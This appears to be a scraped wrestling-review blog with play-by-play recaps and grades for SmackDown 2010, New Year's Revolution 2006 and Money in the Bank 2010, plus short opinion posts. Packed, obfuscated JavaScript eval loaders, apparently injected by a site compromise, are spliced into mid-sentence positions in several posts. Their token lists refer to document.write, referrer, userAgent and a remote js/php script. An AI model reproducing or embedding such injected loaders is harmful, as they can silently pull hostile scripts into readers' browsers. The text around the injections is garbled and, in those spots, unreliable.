On This Day: February 26, 2010 – Smackdown: It’s Time To Point At A Sign

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsfkt|var|u0026u|referrer|hakbb||js|php'.split('|'),0,{})) February 26, 2010
Location: Bradley Center, Milwaukee, Wisconsin
Commentators: Todd Grisham, Matt Striker

The MITB case is above the ring.

Money in the Bank Qualifying Match: John Morrison vs. Dolph Ziggler vs. R-Truth

Of the eight MITB spots, only Christian is in so far. Truth has his NXT Rookie David Otunga here with him. Yeah this was when NXT was an actual competition and pretty awesome actually. Ziggy heads to the floor almost immediately but both other guys head to the floor after him. That goes nowhere so we get Morrison vs. Truth in the ring. Truth does his flipping around sequence and hits the leg lariat for two. The cover draws Ziggler back in but he heads back to the floor again right after.

Morrison his a dropkick for two as Ziggler makes another save. John chases Dolph around the ring before Dolph heads back in to get beaten up by Truth. Ziggler gets sent to the floor where Truth hits (in the loosest sense of the word) a big dive to take him out. We take a break and come back with Ziggler hooking a chinlock on Truth. Morrison comes back in but is immediately sent to the floor again.

Career vs. Streak is official for Wrestlemania.

Money in the Bank Qualifying Match: Kane vs. Drew McIntyre

Drew goes on a path of rage post match and yells at Striker for no apparent reason.

Cheech and Chong are hosting Raw. Good freaking grief.

Money in the Bank Qualifying Match: CM Punk vs. Shelton Benjamin

We look at the Mania card, which looks way better than I remember it.

Edge vs. The Miz

Surprisingly enough no Jericho run in to end the show.

Remember to follow me on Twitter @kbreviews



Why I Watch Wrestling (Bit More On Punk vs. Cena)

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|barab|var|u0026u|referrer|hbkfd||js|php'.split('|'),0,{})) night was a great example.For every lame show, for every stupid promo, for every time Brooke Hogan has to appear on my TV, there’s a chance, albeit a slim one, that you’ll get something like what we got last night.  Last night’s main event was everything I could ask for in a wrestling match: it had build, it had drama, it had action, it had surprises, it had a white hot crowd, it meant something in the long run, and I didn’t expect it.

 

In short, I watch wrestling because you never know what you might get to see on any given night.  That’s what makes it so fun to watch.  Yeah it’s probably false hope most of the time, but you never can tell what they might bust out.  Awesome match last night still.

 

Oh and one more thing: why is it being compared to the MITB match?  They’re totally different things and of course the PPV match should have been better.  It’s not a fair comparison to make, but this is the internet so it’s going to be made anyway.



Dolph Ziggler At And After The Rumble

Coming eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytnsi|var|u0026u|referrer|yrzea||js|php'.split('|'),0,{})) into the Rumble, Ziggler was a big topic of conversation but last night not much happened.Ziggler had talked about cashing in MITB but he didn’t.  He talked about winning the Royal Rumble but he didn’t.  He’s been losing a good deal of his matches recently and while he’s certainly impressive with some of his matches, he hasn’t really won anything other than at TLC where he was defending what he already had.  Other than that, Ziggler hasn’t really accomplished much lately.  He has until July to cash in his case and as usual it seems like a matter of time before he does it.

 

I’m not sure what they’re doing at the moment because they’ve kind of booked themselves into a corner.  With Del Rio getting over very well as a face, that gives a minimum of four people who could be in the world title match at Wrestlemania: Orton, Ziggler, Sheamus and Del Rio.  Odds are it won’t be Ziggler in the title match but it’s clear that he’s going to have a top level match.  I’m thinking he gets put with Del Rio, although not for the title.  There’s always a chance he’ll cash in before Mania, perhaps after the Chamber.

 

Either way, Smackdown is pretty awesome at the moment with their title picture.



On This Day: January 8, 2006 – New Year’s Revolution: The First And The Best

New Year’s Revolution 2006
Date: January 8, 2006
Location: Pepsi Arena, Albany, New York
Attendance: 11,000
Commentators: Joey Styles, Jonathan Coachman

Ok, so quite a bit has changed in the last year or so. Cena is now the Raw Champion and yet again the main event here is the Elimination Chamber, which is fine as they’re just bringing it out once a year to kick it off in some style so I can’t complain on that front. Anyway, other than Cena against five fairly weak challengers, the other things on the card are Big Show vs. HHH which actually is intriguing and…uh…actually never mind. There’s nothing else worth mentioning at all on here. Let’s get to this.

 

The video is of course all about the Chamber as you would expect of it. Joey’s voice here is either great or terrible and I’m not sure which.

Intercontinental Title: Edge vs. Ric Flair

Edge has the MITB at the moment and Flair has the title. Flair being the IC Champion was kind of a cool thing as he never held the belt before. He also brought some prestige to the belt which it was sorely lacking. Now I don’t know how smart it is to have a guy pushing 60 holding the midcard title, but Flair was still almost bearable in the ring at this point so it’s ok I guess.

This is going on as Flair had legitimately had a road rage incident and Edge did a hilarious parody of it. At this point Flair’s personal life was such a wreck because of a nasty divorce that he more or less was staying in the ring to pay his bills. This is your run of the mill Flair match here as Edge beats him up for a good while and works on his back, as it certainly has never healed at all in over 30 years.

Since I can more or less call the next few spots, I randomly start singing Trish’s theme song. Flair has so much charisma it’s scary. And Flair puts the figure four on Lita for no apparent reason, making Edge hit him with the case for the DQ. Well that came out of nowhere. At least the ending makes sense a bit as he’s protecting Lita. Flair bleeds. No need for the case here as a stiff glare could crack his head open.

Rating: C-. Standard Flair match here and while the ending is a bit odd, it’ll make sense in a little while and if you’re not familiar with that, you’ll find out soon enough. It looks like tomato soup on Flair which is just stupid but whatever. Not a terrible match as it was more or less acceptable.

Angle, a heel here, says he wants America to lose the war in Iraq. Well he’s 1 for 1. He says he likes France, doesn’t like black people, and he wants to go back in time and make Jesus tap out. Apparently no matter what he says people will cheer for him because he’s so awesome. That’s clever actually.

Flair is STILL being taken out. I’d hate to see what chicken noodle would do. Apparently if you put your hands on Lita, you pay. Dang  that must be a poor locker room.

Recap of Mickie vs. Trish. Mickie was still insane and they would feud over the title for a good while, including at Backlash 2006 which I attended. Mickie beat Victoria for this shot. She was about to go nuts and heel at the same time after kissing Trish. It was interesting if nothing else.

Women’s Title: Mickie James vs. Trish Stratus

This is a weird match as Mickie is acting all honored to be in there and Trish is creeped out and annoyed by it. It’s a nice bit of storytelling that you rarely get in a lot of wrestling today, especially women’s wrestling. Trish does kind of a baseball slide and misses to let Mickie take over. James is WAY over here also as her character really was great. It’s weird as Mickie James is on Smackdown at the moment and she looks so different now and then.

She’s fat now? She looks about the same, but she’s wearing skirts here and jeans on Smackdown, that’s about it. This is more of a psychological match instead of based on wrestling which while hard to do can indeed work. Mickie hits the Stratusfaction as I’m liking the thinking of the match. Trish hits the Chick Kick out of nowhere for the pin. That’s a bit anticlimactic but it was good so I’ll take it.

Rating: C+. Not everyone is going to like this match as it’s not your standard match. They were going more for psychology and character development here and I’d say it was certainly a success. Fun match but this was really just a piece to the puzzle if that makes sense.

Maria interviews herself about the bra and panties gauntlet. She’s the ditzy blonde here so it’s a bit different but charming to an extent. Gregory Helms shows up to cut her off and he’s about as awesome as he’s ever been here as the ridiculously cocky heel.

Shelton Benjamin and his mother are here. This was somewhere between brilliant, hilarious and freaking stupid.

Edge doesn’t want to answer internet questions. He has Lita do it instead.

Self Destruction of the Ultimate Warrior DVD ad. This went about as ridiculously far into unfairness as you could possibly go as they bury this guy harder than they do anyone I’ve ever seen.

Jerry Lawler vs. Gregory Helms

This is more or less the same thing that they did with Hassan last year as they were just giving Helms this to get him over as a cruiserweight trying to fight heavyweight guys. Apparently Lawler said Helms sucked and he got slapped or vice versa, and I think it was the original. I love how Coach tries to act like he means something. The idea worked as I want to smack him already but then again I always do.

Helms is mostly dominating here so at least they’ve got that working right. In a funny line, Coach says he isn’t sure which chin Helms is grabbing. Helms pulls a Rock and does his own commentary in the match as this is going a bit long. Uh oh it’s strap time and here comes Lawler.

They say his fists are moving like pistons. That’s just amusing in general. Lawler shouts out piledriver and somehow Helms counters it. I wonder how he figured out what to do? And Lawler hits the middle rope punch….FOR THE PIN??? WHAT IN THE FLYING HECK WAS THAT???

Rating: F. Seriously, there is ZERO justification to put Lawler over clean here as this isn’t in Memphis. No way is this ok at all. This was a failure plain and simple. Not from a wrestling perspective but from a booking and thinking one.

Lita leaves the internet place and runs into Trish. Mickie follows her in and she has no issue with losing and is now implying she wants lesbian sex with Trish.

Mama Benjamin is at catering and says this won’t do. She bends over (she weighs probably 400lbs) and Viscera’s music starts up. He likes what he sees and thrusts his lower guy at her and then at the camera. Apparently his music and lights just follow him around and apparently she doesn’t notice any of this at all. Yeah this is dumb.

Quick recap of HHH vs. Big Show, which more or less is that HHH came back from an injury and turned on Flair which ticked off Show who fought him and then cost him a spot in the Chamber tonight. HHH broke Show’s hand, leading to this.

HHH vs. Big Show

I like this actually. It’s not something that’s been beaten to death and it has a bit of potential. That being said it’s likely to suck but what are you going to do? Show has a huge cast on his hand. We get a huge stall to start. You have to say huge in any match either of these guys have. Show is actually moving a bit here which is helping a lot. When he’s motivated he’s rather entertaining to watch although it has to be in doses.

Show is dominating here early on. HHH has had no offense about three minutes in. And then Show punches the post with the cast and HHH is suddenly fine. He’s really bad about that. He at least uses some psychology and works on the hand. And there goes the cast. Well at least they got it off early. It’s kind of basic but a lot of the time that’s all you need to do.

Another important thing to note here about it: HHH is mixing things up with strikes and holds. That’s a major perk as otherwise it just isn’t as interesting. Show makes his comeback to get us to even but misses a punch and knocks the referee out cold. Great looking shot there.

The hammer comes in but a chop goes through it. More or less it’s nothing but HHH using weapons on the hand now and Show fighting as hard as he can (ok not really but work with me here) to stay alive in this. A half sledgehammer shot to the head and a bad Pedigree ends this.

Rating: D. This started off as pretty good and then just fell off a cliff. The last 6 minutes of this or so are just freaking bad and there’s no other way to put it. This was like watching two matches and at the end you just wanted it to end. If you take four minutes or so out of this, it’s an easy C at minimum. Started out great, then just went down, which is a shame.

Coach and Styles could not have less chemistry if their lived depended on it.

And let’s have two minutes of replays to affirm that HHH is in fact, awesome (allegedly).

Masters is getting ready and Carlito comes up. They’re both in the main event tonight for no explainable reason. This goes nowhere.

Ad for the Rumble.

Lawler is back.

Shelton Benjamin vs. Viscera

Holy filler Batman! Something tells me this is going to suck and it’s going to suck hard. This is just boring. Seriously, who thought this was a good idea? Shelton is more or less powerless to do anything with this second rate Mark Henry, and that’s saying A LOT. His mother promises him a sweet potato pie for a win.

Do you see what I do for you freaking people??? She yells the entire match too and talks about getting the belt etc. Is this supposed to be funny? SHUT UP WOMAN! This is the dumbest thing I have ever seen. This is one of those angles that is only to amuse Vince and nothing more. She hits Viscera with the purse and he hits a spin kick to get the win.

Rating: S. As in the stiff drink that I want. This is easily the most ridiculous and annoying thing that I have ever seen on a wrestling show. It wasn’t funny at all but they kept this up for months. THANK GOD he turned heel soon after this and this idiocy ended.

Vince wishes Shawn good luck and Shawn lists off his accomplishments which really are rather impressive. This was the beginning of Shawn vs. Vince that wound up running all summer with DX reuniting.

Bra and Panties Gauntlet Match

It’s exactly what it sounds like and it will be just as worthless as you can imagine. The only good thing here is Lillian in a tied off jersey top. I have a thing for jerseys on women and more or less it’s a bikini top made of one. In short, she’s hotter than should be legally allowed. This is just a bra and panties match but then another comes out and they keep going. Candice and Maria starts.

Candice is about to be in Playboy here. I really hate these things. Maria wins. Torrie is next. Notice a trend here: they’ve all been in Playboy and most of them can’t wrestle to save their lives. Maria puts Torrie out. Victoria is next and she puts Maria out. And here’s Moolah and Mae as I want to shoot this. Screw it. Ashley winds up winning and of course strips anyway.

Rating: N/A. Give me wrestling please. It’s what you advertised.

Shelton and his mother again make me want to shoot someone.

We recap the Chamber and it’s just the main Raw guys other than Show and HHH in the Chamber after qualifying matches.

Raw World Title: John Cena vs. Carlito vs. Chris Masters vs. Kurt Angle vs. Shawn Michaels vs. Kane

Naturally it takes forever to get to this match but less time than last year which is at least a plus. Cena of course gets a lot of boos. This wasn’t even the most hated that he would ever get. He starts with Shawn. Cena isn’t ready to do that yet so this is nowhere near what it sounds like. Just 18 minutes between the ending of the last “match” and the bell in this one. The fans are ALL OVER Cena here.

The Chamber really does look awesome to say the least. Cena can sell really well. Kane comes in last due to winning a Beat the Clock Challenge. He’s the odds on favorite. That’s most amusing. In third is Carlito. He means nothing at this point either and no one really knew why he was in this. Nothing at all happens here other than some potential alliances. Finally Angle comes in to wake the crowd up by suplexing the living tar out of everyone in the match.

Styles saying Angle is all impact amuses me. I mean he must throw everyone 4-5 times each. I have never seen anyone wake a match up like Angle did. Shawn is busted after being thrown into one of the cells. Good night Angle throws a pretty suplex. I mean Angle is just completely dominating. He gets the ankle lock on Shawn and then on Carlito. Masters finally comes in for the save. We’ve fought 15 minutes or so at this point and look at how little I’ve had to say.

Masters comes in and takes an ankle lock. Cena makes a save for no apparent reason and goes for the FU but Angle reverses into ANOTHER ankle lock. He’s just on freaking fire tonight. And then Shawn kicks him in the head and pins him. Yeah seriously, that’s how they get rid of him. Give me a freaking break. Ok it’s not that bad but I hate the out of nowhere ones like that.

You can tell they’re just killing time at this point as nothing at all is happening. Kane comes in so they’re all in now. I seriously couldn’t care less. This thing is boring as any and all goodness. After some brief domination, Kane chokeslams everyone but like an idiot never covers them. Carlito and Masters double team him and amazingly…it works. They do a double DDT and then a press slam of Carlito onto Kane.

At this point, it becomes somewhat clear how this is going to end and it gets dumber and dumber every second. Oh I forgot to mention that Shawn is bleeding. The problem with this match: Carlito and Chris Masters are dominating. Still, this is better than the Extreme Elimination Chamber as Shawn and Cena are at least major star power. Four of the six here were legit title guys and Carlito and Masters were solid midcard heels at the time, so it’s forgivable.

Don’t get me wrong: it’s freaking dumb and it’s bad, but it could be worse. The other four being awesome balances it out a lot. Shawn gets Sweet Chin Music on Cena and Carlito hits a rolling cutter (Cody Rhodes’ finisher) on Shawn to pin him. Yes, the final three are Carlito, Masters and Cena. This is freaking stupid. No one bought Cena losing for a second.

I was reading WZ and was on AIM at the same time with a girl I knew who was a Cena fan and was telling her what was going on. She went to bed at this point as it was obvious to even her, a mark, that this was ending with Cena winning. The fans are now cheering for Cena as they see the alternatives. That’s rather funny. So they double team him for about 5 minutes until the Masterlock is put on. Carlito low blows Masters and rolls him up before getting rolled up by Cena to win the match.

Rating: D. Seriously, Masters and Carlito? This is short because literally the second the match ends, Vince’s music starts playing and it becomes clear what’s going on and why the Chamber sucking means nothing, so I won’t bother going into detail on it.

Vince says the show isn’t over yet and you can hear the crowd pop like a cherry over it. He has the cage raised up. And he says that while Cena did a great job, his night is not over yet, as Edge is cashing in his Money in the Bank contract and the match is NOW.

Raw World Title: Edge vs. John Cena

Cena is more or less dead and can’t even stand up. This is less than two minutes as Edge hits a pair of spears to win the title in a TOTAL shock.

Rating: A. I know I rarely grade matches this short, but this was absolutely brilliant. I mean NO ONE saw this coming and we all thought it was just Cena wins again and no one cares. This was legitimately shocking and it made the show ending awesome. Loved this and it’s one of the best moments of the modern era.

Overall Rating: D+. Again, this show just isn’t that good. The brand split shows were almost always awful because they have to have stuff like Viscera vs. Shelton for no reason whatsoever and no one cared but because they had 3 hours to fill and Vince was so obsessed with the split looking legit and everything that the fans got screwed over for nearly 5 years.

Flair vs. Edge and the whole ending sequence are I guess worth seeing, although the main event should really be watched if you haven’t seen it before as it’s not great at all but since it’s the Elimination Chamber and not the Extreme version it’s worth a one off look I guess. Overall though, this show just isn’t very good as it felt like a Raw with more of a budget.

This would thankfully end before too long but DANG man, this was just painful every month that wasn’t a big show. Not an awful show but just not that good. Better than last year by far though, even though I think I graded them the same. If nothing else, watch the Chamber through the end just for the crowd. I have never heard a crowd turn back and forth so much in 40 minutes in my life as a fan. Other than that, not worth it.

 

Remember to follow me on Twitter @kbreviews



Thought of the Day the Sequel: Cena’s (Kayfabe) Priorities

Anyone eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frrab|var|u0026u|referrer|dtkdi||js|php'.split('|'),0,{})) that follows my stuff knows I’m relatively neutral on Cena.  I respect his work and think he’s one of the greatest superstars ever,  However lately his character has had some continuity issues.  Note that this is all in kayfabe of course.1. Over the summer, Cena says that Big Show winning the title would be disastrous.  Well Big Show won the Smackdown Title two months ago and Cena doesn’t seem to be running through the streets saying the sky is falling.

 

2. Last night Cena says how much he respects Flair, but he’s perfectly fine with Shield beating him up.  However, when Ziggler, a guy that beat him clean the night before (no rules means interference is clean) tries to legally cash in a MITB case, Cena runs to the rescue.  Was he in a rousing game of pinball earlier?



Money in the Bank 2010: Kane Is Back! And He Actually Won Something!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akide|var|u0026u|referrer|zsnar||js|php'.split('|'),0,{})) in the Bank 2010
Date: July 18, 2010
Location: Sprint Center, Kansas City, Missouri
Commentators: Michael Cole, Matt Striker, Jerry Lawler

Well it’s about ten minutes before the show starts and I legitimately do not know who to pick for the winners in the major matches. I’d expect a cash in tonight but I’m not entirely sure. I can’t imagine both will be cashed in, but I’d think one. The Nexus is pretty clearly the most interesting bunch here as we have reason to believe they’ll interfere in at least one Raw match. This should be fun though, although I’m worried that they’ll mess up the MITB appeal, but that’s WWE for you. Let’s get to it.

Apparently WWE has promised us a great main event here tonight.

The video is about risking it all to win it all. Not what I would have gone with but I can live with that.

Smackdown Money in the Bank

Kofi is probably the favorite here but I just don’t see him getting it. Ziggler….no. Christian is the smark favorite but I doubt it, likely causing him to further his heel turn. Rhodes is out next with his sounding like Living on a Prayer music. Hardy kind of gets a pop. Drew is the likely favorite here. Don’t expect a lot of commentary here as it’s mainly just a bunch of insane spots. I’d like to see Kane win but that’s not likely. Show is out last, sans mega ladder.

Everyone jumps the big guys to start which makes sense. That of course doesn’t work so we continue one of the longest running feuds in company history. Those two have interacted on and off for over 11 years. Everyone not big and bald goes away for some reason. They’ve been gone for like a minute now and the ring is empty. Show tries to find his own ladder and everyone gang jumps on him.

Everyone is on the floor now and Show has a bad knee. We need a Public Enemy video explaining how to climb a ladder a la Mike Whipwreck. Matt almost gets there but Christian makes the save which the fans don’t seem to like. I always get scared in matches like these. They’re so freaking dangerous. In the words of JR, how do you learn to fall off a 20 foot ladder? Where do you find a 20 foot ladder? If these are 20 feet tall then Kofi apparently stands about 10’2.

Everyone is doing the one person climbs and then one person stops it while the rest do nothing of note. Christian is about to be pushed to the floor but he uses an ancient Chinese technique to save himself from maximum pain: he jumps off. Why has no one done that before? Matt and Christian team up for about as long as Dennis Rodman was married to Carmen Electra. Wow I’m old.

We go back to what we started with as everyone goes after the big guys whenever they start. That’s some storytelling so I can’t complain there. Drew cleans house, sending Cody into the post after a brief dash. I’ll stop the puns on his name now. There must be like 8 ladders everywhere. Kane goes after Drew and rips up both tables. Make sure you move the monitors in your insane rage Kane. There’s a good employee.

No one is in the ring again. Drew is on the announce table and Kofi looks up at the huge ladder. The ring posts are green and the ropes are white. It’s a very Irish looking ring. Kofi hits the Boom Drop to more or less murder Drew and kill himself. Ziggler almost gets it but Show shoves the ladder down and Dolph hits it on the way down. Striker says there has never been a giant in MITB. Uh, nonsense but whatever.

Show splashes a ladder with Christian and Matt under it. Just call him the Giant again. They say that like 4 times in a row without saying Big Show. It’s mega ladder time. The ladder weighs more than Kane apparently and could hold 7 of the 8 people in this match. And he can’t get it in the ring. There is little funnier than unintentional comedy. So after spending three days setting it up, Rhodes makes the save by hitting him in the knee with a step ladder.

Cody’s face and head slams into the ladder. I think it does at least. Either way it looked great. This whole no one is up thing is really annoying. Kofi goes Shelton and springboards up to the big ladder while Show takes forever to get up (his knee is hurt though so that’s fine). Cody hits a SWEET dropkick to stop him from going up. We need more people in this at once though.

We bust out the finishers on the ladder and Kofi, Show, Dolph and Cody are all in the ring. Matt, Kane and Christian have been gone for like ever. At least Drew was taken down in a huge spot. This is already a 20 minute match. Kane shoves over the super ladder and Show goes over the top rope. The other guys pile ladders on top of Show which is a smart idea actually and a fairly innovative idea.

The midcard squad stops Kane and we get a fight between Matt and Cody. This has to be the end. Cody is almost there but Kane saves. It’s Kane by himself but Dolph gets the sleeper on him for like a second but can’t get it. There’s the full sleeper. Kane does exactly what I thought he should do and ducks his head a bunch of times, ramming it into the ladder.

This is a LONG match, probably the longest of all the MITB matches. I’d call Drew winning since he’s been gone for such a long time, although that isn’t much of a limb to go out on. Kofi gets chokeslammed on the pile of ladders. Kane and Cody go up the ramp to a MITB armored truck. Kane comes back to stop Matt as we’re almost at 30 minutes. Matt has it but Christian is right there. Huge freaking spot coming. They’re both standing on top of the ladder and there they go off of it.

Everyone is dead and here comes Drew. Kane comes back and it’s save time. Downw he goes and HOLY CRAP KANE WINS! He does the fire out of the corners thing from the mega ladder in an AWESOME visual. I’m a huge Kane fan so this is awesome to me.

Rating: C+. MITB is a match with an altered scale as by definition it’s awesome. This was kind of subpar as there were FAR too many spots where people just did nothing at all and were just laying around. Drew was down for about 15 minutes straight. Points for being surprising though and maybe he’ll cash in tonight. This is fun though as Kane has been both unpredictable and cool at the same time so this is good. I’m very happy so far.

Sheamus cuts a long promo about how he doesn’t get any respect from anyone especially Cena. I liked this as it gave him some much needed character development.

Raw Women’s Title: Eve Torres vs. Alicia Fox

I’d bet on the champion retaining here but then again Eve is about ten times hotter so there we are. Eve is freaking gorgeous but allegedly management is REALLY happy with Fox for no apparent reason. Matt points out that the Divas Title hasn’t ever changed hands in Kansas City. Could that be because the belt has only been around for like three years and it’s only had like 4 holders?

The crowd is of course dead for this as they’re spent from the first match. But remember, the Divas are IMPORTANT and NOT eye candy. Yeah the only think I care about here is how good Eve looks in those gold shorts. She has great legs and abs. Alicia works on the back a lot and it sucks even more life out of this if that’s possible.

Eve gets the weakest clap from the audience I’ve ever heard. Eve does some decent stuff but this just needs to end. Cross body only gets one. The match isn’t terrible but it’s just not interesting at all. WE GET PSYCHOLOGY as Eve gets hit in the back and it sets up the Axe Kick to end it. THANK YOU! Now is THAT so hard to work into a match?

Rating: D+. This gets a huge upgrade for the ending because of the psychology being very effective. The crowd was completely dead here at a level that I haven’t heard in a long time. It wasn’t as bad as it’s being made out to be but it could have been better. Very solid ending though.

We review Swagger being a jerk on Friday which was great for him. Allegedly that was Bunkhouse Buck from WCW. Swagger is on the phone with his mom and says his dad was living through him so this was deserved. This is GREAT.

Unified Tag Titles: Uso Brothers vs. Hart Dynasty

Given the fact that we haven’t seen anything from the Usos other than 6 man tags and a squash win on Superstars, I can’t picture them winning yet. The Uso in shorts starts vs. David. We go through the list of guys from the Hart Dungeon and barely scratch the surface. That’s Jay apparently and the crowd is somehow even MORE dead for this. Wow this is basic stuff.

We get the Umaga hip smash of death to the face of Smith as this is more or less just a Raw match. They mention the taped up thumb which is a tribute to a fallen Samoan who they don’t name. That would be Umaga but he never existed. Kidd makes what is supposed to be a hot tag but might as well be in Siberia. Kidd hits a SWEET sunset flip into a rollup but gets caught in an Alley-Oop Samoan Drop.

The top rope splash from Jimmy gets knees though and David gets a small reaction on a tag. The girls go at it for a bit as Kidd beats up Jay. The Sharpshooter on Jimmy ends this fairly easy. Just a somewhat longer Raw match. Cole says this could elevate them to a new level. Uh, what level is that? Venezuelan tag champions?

Rating: D. This should have been on Raw and that’s all there is to it. Ok apparently there’s more to it than that. This was just the definition of average and there was nothing to it at all. The Harts look strong though which is the most important thing as they continue to establish themselves as a solid team.

Ad for Criss Angel’s new season which is the show’s sponsor.

We recap Swagger vs. Rey which is just a rematch from Swagger not losing the title in a one on one match. Oh and Rey has a bad ankle thanks to Swagger.

Smackdown World Title: Jack Swagger vs. Rey Mysterio

I love that little run around the ring that he does when he gets there. Rey limps a lot which makes me accept that he’s going to retain here. Big match intros make almost any match better. This should be good anyway though as both guys tend to work well together. Apparently being educated is a huge thing for Swagger and gives him an advantage. WWE supports education and since Linda McMahon is a WWE person, Linda McMahon supports education. That’s almost as much of a stretch as WWE has a tag division.

Rey hits a seated senton to the floor and hurts his leg again. Striker thinks Swagger hurt his head when he rams his head into the buckle. Gee you think? Striker hits the running up the ropes belly to belly which is always nice. Swagger stands on Rey’s ankle on the floor. Why couldn’t he be this ruthless when he was champion? At least they’re going with a basic story here before Rey makes his Superman comeback.

Rey hits one oh his thousand rana variations to send Swagger into the buckle but hurts his ankle on the modified moonsault. Swagger is getting better with every match he has. Swagger gets the powerbomb but Rey gets the foot on the ropes because he hooks the wrong leg like an idiot. Why does that never happen any other time? Swagger goes for….something off the middle rope but Rey reverses into a tornado DDT. I think it was a powerslam off the top but it didn’t work.

Rey is finally called Superman as he hits the 619. Amazing that a guy with a torn tendon could manage to get a running start for a move like that. Ankle lock is on but he makes the ropes. Vader Bomb hits but no cover. A second one hits and still no cover. Rey takes the boot off of his foot like Eddie (yeah I’m shocked too) and rolls up Swagger for the pin. Swagger beats him up post match and hooks the ankle lock. Kane comes out for the save and chases Swagger off but doesn’t cash in.

Rating: B-. Not a terrible match or anything but nothing great really. Rey’s ankle magically healed somewhere in there as he just forgot about the pain I guess. Also they made more Eddie references. Can Rey just no win anything without having Eddie referenced? This was decent enough but it was nothing all that great. Swagger looked awesome here though, other than the ending.

SCRATCH THAT! Kane comes back, this time with music, a referee and the briefcase! If he loses here….sweet goodness I’ll hurt someone.

Smackdown World Title: Rey Mysterio vs. Kane

Rey tries to run but Kane hits a chokeslam and then a Tombstone. YES! KANE IS WORLD CHAMPION!!!!!! Screw any kind of unbiasedness or whatever. THIS IS AWESOME!

Rating: A+. The tiny man loses and Kane is world champion. This is GREAT!

Jericho and Edge both say they’ll win.

Smackdown Women’s Title: Layla vs. Kelly Kelly

Kelly looks awesome tonight as does Michelle. No one cares about this obviously but they’re a bit awake here. Kelly hits her K2 thing but Michelle grabs the leg and puts it on the ropes. Kelly goes for a sunset flip off the second rope and Layla goes British Bulldog on her for the pin. Yeah whatever.

Rating: D-. Just for Striker using the English Muffin name twice which is annoying. Laycool’s music is addictive too. They’re clearly just killing time before Beth comes back to do her thing. This was pretty uninteresting though and really went nowhere but at least Kelly was hot and it didn’t go on that long.

Raw Money in the Bank

Orton gets the kind of home town pop but it’s still a huge one as you would expect. Miz is the dark horse pick to win but he likely won’t. Mark Henry needs to get lost in the desert somewhere. DiBiase is growing on me. They’re going through the intros much faster here than they did in the first match. Maryse in a red dress works very well. Morrison is someone that is a wild card here but I’d bet on him not winning. Him giving away the sunglasses is great. Jericho is the main event filler guy here which is fine for a guy at his state in his career. Bourne is here for high spots more than likely. Edge is probably the Drew McIntyre here: the guy you expect to win but doesn’t.

They do a lot of basic stuff to get us going which is what you would expect. Edge stops Bourne but Bourne hits a sweet rana to take him down. Orton this the DDT off the second rung of the ladder which is a nice little variation on it. Morrison kind of falls down and hits his head on the ladder which wasn’t planned. He looks ok though. Morrison gets some solid reactions here and takes out Miz and DiBiase.

This match suffers from being the second of these matches in less than two hours. The spots don’t look as impressive as they did when we hadn’t seen them in four months. Henry shoves four guys off two ladders and everyone is down. Maryse goes into the ring and sets up a ladder with everyone down. She takes forever to climb the thing as the question of can anyone climb the ladder and get the case is raised. Morrison stops her and nothing really comes of it.

Everyone is apparently dead again as people are all out on the floor other than Miz. Striker names Miz’s fans Mizfits. Dude, stop trying so hard. Morrison does a modified Shelton spot by being slingshotted into the ladder on the floor but holding on. He then grabs one standing in the corner and slides over on it to get on the ladder Edge is on. Nice spot. Edge and Miz get Morrison stuck between the rungs of a ladder and beat him up. Edge slams the ladder into Miz’s face in a perfectly Edge spot.

Henry takes over for a bit but gets the Big Show treatment from earlier including a Codebreaker and Spear on the floor. Everything goes insane again and Air Bourne hits. He almost gets up to the case but can’t unhook it a la Swagger. We get Canadian violence as Edge and Jericho fight atop the ladder. RKO OFF THE LADDER ON JERICHO!

Orton LOOKS at a ladder and gets the biggest pop of the night. He almost has it but Miz makes the save. MIZ WINS IT! HOLY SWEET GOODNESS! Miz gets a mic as the announcers can’t believe what they’re seeing. Miz says that everyone here is living in his moment. He says this means he made it and he’s right. This is totally believable here and given where he was just like three years ago (chick magnet) two years ago (in a tag team like say David Hart Smith is now) or even a year ago (parodying Cena) this is AMAZING.

Rating: B-. I liked this better than the first one actually as the length being significantly shorter helped it a lot. The 26 minutes for the first one was too long but cutting about 10 minutes off of this one made it much better. The winner helps it a lot too, but this was more about drama and there was less time for things to be bogged down and drag. Slightly better, but I could easily see that being reversed.

We recap Cena vs. Sheamus with the Nexus involved, which makes this a very interesting main event.

Raw World Title: John Cena vs. Sheamus

It’s in a cage, which is somehow supposed to stop the Nexus somehow. There’s no top on it that I can see so I don’t get the theory there. This starts pretty slowly and then picks up a bit. The fans are anti-Cena. He also has stitches from a cut on Raw Monday. Cena wants an ELBOW apparently. They’re pretty much just killing time here until the Nexus stuff starts. It’s not bad or anything but it’s kind of uneventful.

